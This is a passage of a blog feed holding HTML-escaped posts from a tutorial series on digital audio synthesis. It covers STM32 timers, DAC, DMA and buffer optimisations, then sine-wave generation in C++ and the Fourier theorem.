    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; t&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;// Use the precomputed value...&lt;/span&gt;
        buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2047&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;two_pi_f_over_sr &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; t&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2047&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#wavetable-synthesis&quot;&gt;&lt;strong&gt;Wavetable synthesis&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Math functions such as &lt;code&gt;sin&lt;/code&gt; can be computationally expensive, especially when used a lot. By caching the waveform in a lookup table, we can speed up the process of computing samples.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Increase the buffer size&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;By increasing the buffer size, we spend less overhead switching between tasks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Decrease the sample rate&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If all else fails, we can decrease the load by compromising the sample rate, say from 42000Hz to 21000Hz. With a buffer size of 1024, that means we’ve gone from a constraint of $&#92;frac{1,024}{42,000} = 24.4$ms to $&#92;frac{1,024}{21,000} = 48.8$ms per buffer.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To avoid complicating things, I lowered the sample rate to 21000Hz. This means changing the auto-reload register to 7999, so that our timer frequency is $$&#92;frac{168,000,000}{(0 + 1) &#92;times (7,999 + 1)} = 21,&#92;!000&#92;text{Hz.}$$&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;TIM8&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;ARR &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;7999&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;After all this hassle, we get a beautiful chord.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;The curves are mesmerising.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-a-major-1024w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-a-major-1024w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1024 / 768&quot; alt=&quot;Picture of oscilloscope showing A major.&quot; title=&quot;The curves are mesmerising.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-a-major-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-a-major-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-a-major-1024w.webp 1024w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1024px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;A nifty waveform of an A major chord (440Hz + 554.37Hz + 659.25Hz).&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&quot;recap&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#recap&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Recap 🔁&lt;/h2&gt;
&lt;p&gt;By utilising both hardware and software, we reap the benefits of parallel processing while implementing an efficient, robust audio application. On the hardware side, we explored:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#timers&quot;&gt;Timers&lt;/a&gt;, which are an useful and inexpensive way to trigger actions at regular intervals.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#digital-to-analogue-converters-dacs&quot;&gt;DACs&lt;/a&gt;, which enable us to communicate with a speaker by translating digital samples into analogue signals.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#direct-memory-access-dma&quot;&gt;DMA&lt;/a&gt;, which enables data transfer with minimal processor resources. This way, we can process other things while streaming audio.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In software, we explored:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#example-dma-with-double-buffering&quot;&gt;Double buffering&lt;/a&gt;, a software technique for buffering data to achieve continuous or faster output.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#optimisations&quot;&gt;Various optimisations&lt;/a&gt;, which enable us to squeeze more processing into our tiny board.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When combined, we save processing resources, which can possibly be spent on additional features.&lt;/p&gt;
&lt;p&gt;In case you want to go further, here are some other things to explore:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Generating stereo audio. We’ve generated audio for Channel 1. What about stereo audio for Channel 2? If you’re using reverb effects and wish for a fuller stereo sound, you’ll need an extra pair of buffers (and more processing!).&lt;/li&gt;
&lt;li&gt;Streaming via UART (+ DMA).&lt;/li&gt;
&lt;li&gt;Using &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Single Instruction, Multiple Data&quot;&gt;SIMD&lt;/abbr&gt; instructions to buffer two (or more?) samples at a time.
&lt;ul&gt;
&lt;li&gt;Other assembly-level bit-hacking tricks.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Real-Time Operating System&quot;&gt;RTOS&lt;/abbr&gt; for multitasking.&lt;/li&gt;
&lt;li&gt;Other boards or hardware with specialised audio features.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hope you enjoyed this series of posts! Leave a comment if you like to see more or have any feedback!&lt;/p&gt;
&lt;h2 id=&quot;full-code&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#full-code&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Full Code&lt;/h2&gt;
&lt;p&gt;The complete code for DMA with double buffering has been uploaded as a &lt;a href=&quot;https://gist.github.com/TrebledJ/5c45ba3366918352a3d56625a636bafa&quot;&gt;GitHub Gist&lt;/a&gt;. It hasn&#39;t been fully optimised yet. I&#39;ll leave that as an exercise for the reader.&lt;/p&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Each of these components (especially hardware) deserve their own post to be properly introduced; but for the sake of keeping this post short, I’ll only introduce them briefly and link to other resources for further perusal. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;&lt;a href=&quot;https://www.embeddedtutor.com/2019/02/timercounter-in-embedded-system.html&quot;&gt;Timer/Counter in Embedded System&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref2:1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;&lt;a href=&quot;https://www.upesy.com/blogs/tutorials/how-works-timers-in-micro-controllers&quot;&gt;How do microcontroller timers work?&lt;/a&gt; – A decent article on timers. Diagrams are in French though. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;The extent of timer events depends on hardware support. Timers can do a lot on ST boards. For other brands, you may need to check the datasheet or reference manual. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn5&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Some other timers have 32-bit ARR registers. But eh, we can achieve a lot with just 16-bit ones. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref5&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn6&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;What is the difference between pairs of prescaler/auto-reload, such as &lt;code&gt;PSC = 0&lt;/code&gt;, &lt;code&gt;ARR = 3999&lt;/code&gt; vs. &lt;code&gt;PSC = 1&lt;/code&gt;, &lt;code&gt;ARR = 1999&lt;/code&gt;? &lt;br /&gt; Indeed, given a fixed clock frequency, the same timer frequency will be generated (since the divisor is the same: 2000). However, the difference lies in the counter. Recall each step of auto-reload equals a step of the counter. &lt;br /&gt; The counter is used in calculating the on-time (or duty cycle). By using a &lt;em&gt;higher&lt;/em&gt; &lt;code&gt;ARR&lt;/code&gt;, we gain a &lt;em&gt;higher resolution&lt;/em&gt; in the counter, which allows us to say, control servos with finer granularity. Thus, a lower prescaler is often preferred. &lt;br /&gt; Of course, different vendors may implement timers differently or have different features attached to timer peripherals. Other considerations may come into play, depending on the vendor and your application. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref6&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn7&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;We chose Timer 8 (with Channel 4) because it&#39;s an advanced control timer (a beefy boi!), capable of a lot, though probably overkill for our simple examples. The timer and channel you use depends on your STM board and model. If you’re following along with this post, make sure to choose a timer which has DMA generation. When in doubt, refer to the reference manual.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn8&quot; id=&quot;fnref8&quot;&gt;8&lt;/a&gt;&lt;/sup&gt; &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref7&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn8&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;&lt;a href=&quot;https://www.st.com/resource/en/reference_manual/rm0090-stm32f405415-stm32f407417-stm32f427437-and-stm32f429439-advanced-armbased-32bit-mcus-stmicroelectronics.pdf&quot;&gt;STM&#39;s Official Reference Manual for F405/F415, F407/F417, F427/F437, F429/F439 boards&lt;/a&gt;. Definitely something to refer to if you’re working on one of those boards. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref8&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref8:1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn9&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;In CubeMX, you can generate code by choosing the &lt;em&gt;Project&lt;/em&gt; &amp;gt; &lt;em&gt;Generate Code&lt;/em&gt; menu option. When coding, keep in mind that only code between &lt;code&gt;USER CODE BEGIN&lt;/code&gt; and &lt;code&gt;USER CODE END&lt;/code&gt; comments will be preserved by ST&#39;s code generator. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref9&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref9:1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn10&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;There are pros to using 8-bit or 12-bit DAC. 8-bit conversion is faster, whereas 12-bit offers higher resolution. To slightly complicate things, the 12-bit DAC option on our STM32 can be aligned either left or right. That is, we can choose whether our data takes up the first 12 bits or last 12 bits on a 16-bit (2-byte) space. Alignment exists to &lt;a href=&quot;https://electronics.stackexchange.com/a/565451&quot;&gt;save you a shift operation&lt;/a&gt;, which depends on your application. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref10&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn11&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Not sure if &lt;em&gt;stall&lt;/em&gt; is the right word. Let me know if there&#39;s a better one. &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fnref11&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>programming</category>
        
          <category>tutorial</category>
        
          <category>dsp</category>
        
          <category>embedded</category>
        
          <category>c</category>
        
          <category>cpp</category>
        
          <category>stm32</category>
        
          <category>music</category>
        
          <category>audio-synthesis-for-dummies</category>
        
          <category>synths</category>
        
          <category>notes</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Digital Audio Synthesis for Dummies: Part 2</title>
        <description>Generating audio signals for great good through additive synthesis and wavetable synthesis.</description>
        <link href="https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/"/>
        <updated>2023-03-09T00:00:00Z</updated>
        <id>https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/</id>
        <content xml:lang="en" type="html">&lt;p&gt;This is the second post in a series of posts on Digital Audio Processing. Similar to the &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1&quot;&gt;previous post&lt;/a&gt;, this post stems from a lil’ &lt;a href=&quot;https://trebledj.me/posts/stm32-midi-keyboard&quot;&gt;MIDI keyboard&lt;/a&gt; project I worked on last semester and is an attempt to share the knowledge I&#39;ve gained with others. This post will dive into the wonderful world of audio synthesis and introduce two important synthesis techniques: additive synthesis and wavetable synthesis.&lt;/p&gt;
&lt;h2 id=&quot;audio-synthesis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#audio-synthesis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Audio Synthesis 🎶&lt;/h2&gt;
&lt;p&gt;Where do audio signals come from? Our signal might be…&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;recorded&lt;/strong&gt;. Sound waves are picked up by special hardware (e.g. a microphone) and translated to a digital signal through an &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Analog-to-Digital Converter&quot;&gt;ADC&lt;/abbr&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;loaded&lt;/strong&gt; from a file. There are many audio formats out there, but the most common ones are .wav and .mp3. The .wav format is simple: just store the samples as-is. Other formats compress audio to achieve smaller file sizes (which in turn, means faster upload/download speeds).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;synthesised&lt;/strong&gt;. We generate audio out of thin air (or rather, code and electronics).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I’ll mainly focus on &lt;strong&gt;synthesis&lt;/strong&gt;. We’ll start by finding out how to generate a single tone, then learn how to generate multiple tones simultaneously.&lt;/p&gt;
&lt;h2 id=&quot;buffering&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#buffering&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Buffering 📦&lt;/h2&gt;
&lt;p&gt;A naive approach to generate audio might be:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Process one sample&lt;/li&gt;
&lt;li&gt;Feed it to the &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Digital-to-Analogue Converter&quot;&gt;DAC&lt;/abbr&gt;/speaker&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;But there are several issues with this: function call overhead may impact performance, and we have little room left to do other things. For the sound to play smoothly while sampling at 44100Hz, each sample needs to be delivered within $&#92;frac{1}{44100}$ s = $22.6$ µs.&lt;/p&gt;
&lt;p&gt;A better approach is to use a &lt;em&gt;buffer&lt;/em&gt; and work in batches. The buffer will hold onto our samples before feeding it to the speaker.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Process $N$ samples and store them in a buffer&lt;/li&gt;
&lt;li&gt;Feed all $N$ samples to the DAC/speaker&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We&#39;ll focus more on step 1 (processing) for now. We&#39;ll cover step 2 (output) in the next post.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;In a previous post, we discussed &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1#quantisation&quot;&gt;quantisation&lt;/a&gt; and how different representations (such as integers and floats) are suited for different tasks. Integers are discrete numbers, while floats are (imprecise) real numbers. Since we&#39;re concerned with audio processing, we&#39;ll be using floats and quantising from -1 to 1.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;In C/C++, we can generate a sine tone like so:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;SAMPLE_RATE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;44100&lt;/span&gt;  &lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;// Number of samples per second.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;BUFFER_SIZE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;1024&lt;/span&gt;   &lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;// Length of the buffer.&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Define an array for storing samples.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Buffer of samples to populate, each ranging from -1 to 1.&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;/**
 * Generate samples of a sine wave and store them in a buffer.
 * @param freq  Frequency of the sine wave, in Hz.
 */&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;generate_samples&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; freq&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Populate the buffer with a sine tone with frequency `freq`.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; PI &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; freq &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; SAMPLE_RATE&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;And that’s it—we’ve just whooshed pure sine tone goodness from nothing! Granted, there are some flaws with this method (it could be more efficient, and the signal clicks when repeated); but hey, it demonstrates synthesis.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Note on Buffers: Usually, the buffer size is medium-sized power of 2 (e.g. 512, 1024, 2048, 4096...). This enhances cache loads and processing speed (dividing by a power of 2 is super easy for processors!).&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;the-fourier-theorem&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#the-fourier-theorem&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Fourier Theorem 📊&lt;/h2&gt;
&lt;p&gt;One fundamental theorem in signal processing is the &lt;strong&gt;Fourier Theorem&lt;/strong&gt;, which relates to the composition of signals. It can be summarised into:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Any &lt;em&gt;periodic&lt;/em&gt; signal can be &lt;em&gt;broken down&lt;/em&gt; into a &lt;em&gt;sum&lt;/em&gt; of sine waves.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We can express this mathematically as
$$
f(x) = a_0&#92;sin(f_0x + b_0) + a_1&#92;sin(f_1x + b_1) + &#92;cdots + a_n&#92;sin(f_nx + b_n)
$$
where $a_i$, $f_i$, and $b_i$ are the amplitude, frequency, and phase of each constituent sine wave.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Skipper&#39;s partial to Fourier. They&#39;re the best of chums.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/fourier-analysis-1125w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-55&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/fourier-analysis-1125w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1125 / 832&quot; alt=&quot;Skipper&#39;s partial to Fourier. They&#39;re the best of chums.&quot; title=&quot;Skipper&#39;s partial to Fourier. They&#39;re the best of chums.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/fourier-analysis-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/fourier-analysis-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/fourier-analysis-1024w.webp 1024w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/fourier-analysis-1125w.webp 1125w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1125px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
